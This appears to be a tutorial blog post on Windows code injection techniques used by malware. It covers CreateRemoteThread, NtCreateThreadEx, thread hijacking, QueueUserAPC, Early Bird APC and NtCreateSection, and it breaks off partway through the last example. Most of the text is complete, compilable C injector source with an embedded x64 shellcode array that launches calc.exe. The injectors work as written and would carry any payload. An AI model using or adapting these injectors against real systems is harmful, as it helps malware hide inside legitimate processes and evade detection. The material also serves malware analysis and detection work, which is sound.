This post goes through some of the most common Code Injection techniques used by malware to execute code within the virtual address space of a remote process. The techniques described in this post are often used by Malware to migrate to more stable processes such as explorer.exe
or svchost.exe
, or to gain access to information within the virtual address space of another process.
All examples in this post were compiled using the
MinGW-w64
compiler.
Create Remote Thread
The simplest and most common technique used to execute code within a remote process is using the Create Remote Thread
function. Create Remote Thread is Microsoft’s official way of creating a thread that runs in the virtual address space of a remote process.
The following application injects and executes the provided Shellcode
into the process whose PID is provided as the first argument. Once executed, the shellcode will spawn a Windows calculator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <windows.h>
int main (int argc, char * argv[])
{
// Execute Calc.exe
unsigned char Shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
HANDLE hProcess;
HANDLE hThread;
PVOID pExecMemory;
DWORD dPid;
DWORD dShellcodeSize;
dPid = atoi(argv[1]);
if (dPid == 0) {
return -1;
}
dShellcodeSize = sizeof(Shellcode);
/*
1. Open the Target Process using OpenProcess.
*/
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dPid);
/*
2. Allocate a RWX memory region within the Virtual Address space of
the target using VirtualAllocEx.
*/
pExecMemory = VirtualAllocEx(hProcess, NULL, dShellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
/*
3. Copy the Shellcode to the newly allocated memory region using the
WriteProcessMemory function.
*/
WriteProcessMemory (hProcess, pExecMemory, Shellcode, dShellcodeSize, NULL);
/*
4. Create a new thread that runs within the Virtual Address space of
the target using the CreateRemoteThread function.
*/
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pExecMemory, NULL, 0, NULL);
CloseHandle(hProcess);
return 0;
}
NT Create Thread
Rather than using Create Remote Thread, Malware authors may choose to use the lower-level, NT Create Thread
function. Unlike Create Remote Thread, this function is undocumented and is not defined inside Windows header files. Because of this, the authors are required to define the function manually and search the for the function’s address before it can be called.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <windows.h>
#include <stdio.h>
#pragma comment (lib, "user32.lib")
/*
* 1. Define the NT Create Thread Ex signature.
*
* Since the NT Create Thread function is not included inside the Windows Headers, we must
* define the function's signature ourselves in order to use it as a normal C function.
*/
typedef NTSTATUS (NTAPI * NtCreateThreadEx_t) (
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
IN PVOID ObjectAttributes,
IN HANDLE ProcessHandle,
IN PVOID lpStartAddress,
IN PVOID lpParameter,
IN ULONG Flags,
IN SIZE_T StackZeroBits,
IN SIZE_T SizeOfStackCommit,
IN SIZE_T SizeOtStackReserve,
OUT PVOID lpBytesBuffer
);
unsigned char Shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
int main (int argc, char * argv[])
{
DWORD dPid;
HANDLE hProcess;
HANDLE hThread;
LPVOID lpShellcode;
HMODULE hKernel32;
HMODULE hNtdll;
LPVOID lpLoadLibrary;
NtCreateThreadEx_t NtCreateThreadEx;
/*
* 2. Open a handle to the NTDLL library and get the address of NTCreateThreadEx function.
*/
hNtdll = GetModuleHandle("ntdll");
NtCreateThreadEx = (NtCreateThreadEx_t) GetProcAddress(hNtdll, "NtCreateThreadEx");
if (NtCreateThreadEx == NULL) {
printf("Could not find NtThreadEx.\n");
return -1;
}
dPid = atoi(argv[1]);
/*
3. Open the Target Process using OpenProcess.
*/
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dPid);
if (hProcess == NULL)
{
printf("Could not open target process.\n");
return -1;
}
/*
4. Allocate a RWX memory region within the Virtual Address space of
the target using VirtualAllocEx.
*/
lpShellcode = VirtualAllocEx(hProcess, NULL, sizeof(Shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
/*
5. Copy the Shellcode to the newly allocated memory region using the
WriteProcessMemory function.
*/
WriteProcessMemory (hProcess, lpShellcode, Shellcode, sizeof(Shellcode), NULL);
/*
6. Create a new Thread within the target process using our NT Create Thread Ex.
*/
NtCreateThreadEx (&hThread, 0x1FFFFF, NULL, hProcess, (LPTHREAD_START_ROUTINE) lpShellcode, NULL, FALSE, 0, 0, 0, NULL);
if (hThread == NULL)
{
printf("Create Thread Ex Failed.\n");
CloseHandle(hProcess);
return -1;
}
printf("Thread handle Created!\n");
/*
7. Wait for the Thread to finish and close all handles.
*/
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
CloseHandle(hProcess);
}
Thread Hijack
Instead of creating a new thread within the target process, Malware authors may choose to execute their Shellcode by hijacking an already running thread within the target process. Although this technique has a higher chance of crashing the target process, this technique avoids creating a new thread within the target process, making it more difficult to detect.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Execute Calc.exe
unsigned char Shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
int main (int argc, char * argv[])
{
HANDLE hProcess;
HANDLE hThread;
HANDLE hSnapshot;
THREADENTRY32 TE;
CONTEXT hThreadContext;
PVOID pShellcode;
DWORD dPid;
DWORD dShellcodeSize;
dPid = atoi(argv[1]);
if (dPid == 0) {
printf("Enter a valid PID\n");
return -1;
}
dShellcodeSize = sizeof(Shellcode);
/*
1. Open the Target Process using OpenProcess.
*/
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dPid);
/*
2. Allocate a RWX memory region within the Virtual Address space of
the target using VirtualAllocEx.
*/
pShellcode = VirtualAllocEx(hProcess, NULL, dShellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
/*
3. Copy the Shellcode to the newly allocated memory region using the
WriteProcessMemory function.
*/
WriteProcessMemory(hProcess, pShellcode, Shellcode, dShellcodeSize, NULL);
/*
* 4. Find a thread running within our target process
*/
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
TE.dwSize = sizeof(THREADENTRY32);
if (hSnapshot == INVALID_HANDLE_VALUE) {
return -1;
}
if (Thread32First(hSnapshot, &TE)) {
do
{
// Check if the current thread belongs to our target process.
if (dPid == TE.th32OwnerProcessID)
{
// Attempt to open a handle to the thread.
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, TE.th32ThreadID);
if (hThread != NULL)
{
break;
}
}
}while (Thread32Next(hSnapshot, &TE));
}
if (hThread == NULL) {
printf("Could not find a suitable Thread.\n");
return -1;
}
/*
* 5. Suspend the Thread so that we can retrieve and modify it's context.
*/
SuspendThread(hThread);
/*
* 6. Retrieve the thread's context and modify it's instruction pointer to point
* to our shellcode
*/
GetThreadContext(hThread, &hThreadContext);
hThreadContext.Rip = (DWORD_PTR) pShellcode;
SetThreadContext(hThread, &hThreadContext);
/*
* 7. Resume the thread.
*/
ResumeThread(hThread);
CloseHandle(hProcess);
return 0;
}
Queue User APC
The Queue User APC function can be used to add a user-mode APC object to a thread’s APC queue. After entering an alertable state, the thread internally calls NT Test Alert
to empty the thread’s APC queue and service all pending APCs. Malware authors may use this technqiue to queue an APC inside a thread running within a target process and execute code within the virtual address space of that process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
#pragma comment (lib, "ntdll")
unsigned char Shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
int main (int argc, char * argv[])
{
HMODULE hProcess;
DWORD dPid;
LPVOID pShellcode;
DWORD dShellcodeSize;
HANDLE hSnapshot;
HANDLE hThread;
THREADENTRY32 TE;
dPid = atoi(argv[1]);
/*
* 1. Open the Process whose PID was given as the first argument.
*/
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dPid);
if (hProcess == NULL) {
printf("Cannot open Process. Please check the provided PID\n");
return -1;
}
TE.dwSize = sizeof(THREADENTRY32);
dShellcodeSize = sizeof(Shellcode);
/*
* 2. Allocate an executable memory region within the Virtual Address space of the target process.
*/
pShellcode = VirtualAllocEx(hProcess, NULL, dShellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
/*
* 3. Copy our Shellcode into the newly created executable region within the Virtual Address space of the target process.
*/
WriteProcessMemory(hProcess, pShellcode, Shellcode, dShellcodeSize, NULL);
// Take a Snapshot of all running threads.
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (Thread32First(hSnapshot, &TE))
{
do
{
// Check whether this Thread belongs to our Target Process.
if (dPid == TE.th32OwnerProcessID)
{
// Open the Thread.
hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, TE.th32ThreadID);
if (hThread) {
/*
* 4. Queue an APC function to a thread belonging to our remote process.
*/
QueueUserAPC((PAPCFUNC)pShellcode, hThread, 0);
CloseHandle(hThread);
break;
}
}
} while (Thread32Next(hSnapshot, &TE));
}
CloseHandle(hProcess);
return 0;
}
Early Bird APC
The Early Bird APC Code Injection technique is a derivative of the APC technique described above. This technique involves creating a process in a suspended state, queueing an APC, and finally resuming the process and hence, the main thread. Once resumed, the thread calls NT Test Alert to check the queue and subsequently executes our queued APC.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <windows.h>
#define EXECUTABLE "C:\\Windows\\System32\\Notepad.exe"
unsigned char Shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
int main() {
STARTUPINFO SI;
PROCESS_INFORMATION PI;
LPVOID pShellcode;
DWORD dShellcodeSize;
PTHREAD_START_ROUTINE APC;
dShellcodeSize = sizeof(Shellcode);
ZeroMemory (&SI, sizeof(SI));
ZeroMemory (&PI, sizeof(PI));
SI.cb = sizeof(SI);
/*
* 1. Create a new Process in a Suspended State.
*/
CreateProcessA(EXECUTABLE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI);
// Wait for the Process to be created.
WaitForSingleObject(PI.hProcess, 5000);
/*
* 2. Allocate a new RWX memory region inside the Suspended process.
*/
pShellcode = VirtualAllocEx(PI.hProcess, NULL, dShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
/*
* 3. Copy the Shellcode inside the newly allocated memory region.
*/
WriteProcessMemory(PI.hProcess, pShellcode, Shellcode, dShellcodeSize, NULL);
APC = (PTHREAD_START_ROUTINE) pShellcode;
/*
* 4. Add the Executable Shellcode to the APC queue of the suspended process
* main thread.
*/
QueueUserAPC((PAPCFUNC)APC, PI.hThread, 0);
/*
* 5. Resume the Thread for NtTestAlert() to be called and our Shellcode executed.
*/
ResumeThread(PI.hThread);
return 0;
}
NT Create Section
The techniques we looked at so far all used the VirtualAllocEx
and WriteProcessMemory
functions to allocate an executable memory region and copy the shellcode to the target process. An alternative to this process is using the NT Create Section
function.
By using the Nt Create Section
function, Malware authors are able to create a writable section object, map the section inside the local and remote processes, copy the shellcode into the view within the local process, and finally execute the shellcode from the target processes by creating a new thread.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "ntdll")
typedef struct _LSA_UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, * PCLIENT_ID;
typedef NTSTATUS (NTAPI* NtCreateSection_t)(
OUT PHANDLE SectionHandle,
IN ULONG DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG PageAttributess,
IN ULONG SectionAttributes,
IN HANDLE FileHandle OPTIONAL
);
typedef NTSTATUS (NTAPI* NtMapViewOfSection_t) (
HANDLE SectionHandle,
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset,
PSIZE_T ViewSize,
DWORD InheritDisposition,
ULONG AllocationType,
ULONG Win32Protect
);
typedef NTSTATUS(NTAPI* RtlCreateUserThread_t)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID
);
unsigned char Shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
